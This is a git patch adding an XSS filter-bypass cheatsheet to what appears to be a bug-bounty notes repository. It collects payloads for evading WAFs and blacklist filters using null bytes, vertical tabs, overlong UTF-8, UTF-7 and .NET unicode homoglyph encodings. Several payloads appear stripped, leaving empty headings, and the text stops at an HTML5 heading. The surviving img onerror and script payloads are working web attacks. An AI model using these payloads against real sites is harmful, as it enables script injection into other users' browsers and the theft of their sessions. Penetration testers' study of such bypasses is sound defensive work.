From 07347df5b4aa36c706b07c6141d44c123ad2e636 Mon Sep 17 00:00:00 2001 From: Xalgord Date: Mon, 28 Aug 2023 17:16:44 +0000 Subject: [PATCH] GITBOOK-84: change request with no subject merged in GitBook --- SUMMARY.md | 1 + ghetto-xss-cheatsheet.md | 201 +++++++++++++++++++++++++++++++++++++++ xss/README.md | 40 +++++--- 3 files changed, 227 insertions(+), 15 deletions(-) create mode 100644 ghetto-xss-cheatsheet.md diff --git a/SUMMARY.md b/SUMMARY.md index de7b2ff..3f8e519 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -25,4 +25,5 @@ * [🔎 How to Get Unique Subdomains on Large scope](recon-strategies-by-other-hackers/how-to-get-unique-subdomains-on-large-scope.md) * [🎯 subdomain-enumeration](subdomain-enumeration/README.md) * [❌ xss](xss/README.md) +* [Ghetto XSS Cheatsheet](ghetto-xss-cheatsheet.md) * [🚀 Oneliners](oneliners.md) diff --git a/ghetto-xss-cheatsheet.md b/ghetto-xss-cheatsheet.md new file mode 100644 index 0000000..ac80600 --- /dev/null +++ b/ghetto-xss-cheatsheet.md @@ -0,0 +1,201 @@ +--- +description: 'source: https://d3adend.org/xss/ghettoBypass' +--- + +# Ghetto XSS Cheatsheet + +``` + _____ _ _ _ __ _______ _____ _____ _ _ _ _ +| __ \ | | | | | \ \ / / ___/ ___| / __ \ | | | | | | | +| | \/ |__ ___| |_| |_ ___ \ V /\ `--.\ `--. | / \/ |__ ___ __ _| |_ ___| |__ ___ ___| |_ +| | __| '_ \ / _ \ __| __|/ _ \ / \ `--. \`--. \ | | | '_ \ / _ \/ _` | __/ __| '_ \ / _ \/ _ \ __| +| |_\ \ | | | __/ |_| |_| (_) | / /^\ |\__/ /\__/ / | \__/\ | | | __/ (_| | |_\__ \ | | | __/ __/ |_ + \____/_| |_|\___|\__|\__|\___/ \/ \|____/\____/ \____/_| |_|\___|\__,_|\__|___/_| |_|\___|\___|\__| + +A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air. + +Simple character manipulations. +Note that I use hexadecimal to represent characters that you probably can't type. For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = %00). + +HaRdc0r3 caS3 s3nsit1vITy bYpa55! + + + +Null-byte character between HTML attribute name and equal sign (IE, Safari). + + +Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari). + + +Vertical tab between HTML attribute name and equal sign (IE, Safari). + + +Null-byte character between equal sign and JavaScript code (IE). + + +Null-byte character between characters of HTML attribute names (IE). + + +Null-byte character before characters of HTML element names (IE). +<\x00img src='1' onerror=alert(0) /> + +Null-byte character after characters of HTML element names (IE, Safari). +alert(1) + +Null-byte character between characters of HTML element names (IE). + + +Use slashes instead of whitespace (IE, Firefox, Chrome, Safari). + + +Use vertical tabs instead of whitespace (IE, Safari). + + +Use quotes instead of whitespace in some situations (Safari). + + + +Use null-bytes instead of whitespaces in some situations (IE). + + +Just don't use spaces (IE, Firefox, Chrome, Safari). + + +Prefix URI schemes. +Firefox (\x09, \x0a, \x0d, \x20) +Chrome (Any character \x01 to \x20) + + +No greater-than characters needed (IE, Firefox, Chrome, Safari). +alert(0) + +Backslash character between expression and opening parenthesis (IE). + + +JavaScript Escaping + + +Encoding Galore. + +HTML Attribute Encoding + + + + + +URL Encoding + + + +CSS Hexadecimal Encoding (IE specific examples) +
Joker
+
Joker
+
Joker
+
Joker
+ +JavaScript (hexadecimal, octal, and unicode) + + + + + +JavaScript (Decimal char codes) + + + +JavaScript (Unicode function and variable names) + + + +Overlong UTF-8 (SiteMinder is awesome!) +< = %C0%BC = %E0%80%BC = %F0%80%80%BC +> = %C0%BE = %E0%80%BE = %F0%80%80%BE +' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 +" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 + + +%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE + +UTF-7 (Missing charset?) + ++ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- + +Unicode .NET Ugliness + +%uff1cscript%uff1ealert(1)%uff1c/script%uff1e + +Classic ASP performs some unicode homoglyphic translations... don't ask why... + +%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A + +Useless and/or Useful features. + +HTML 5 (Not comphrensive) +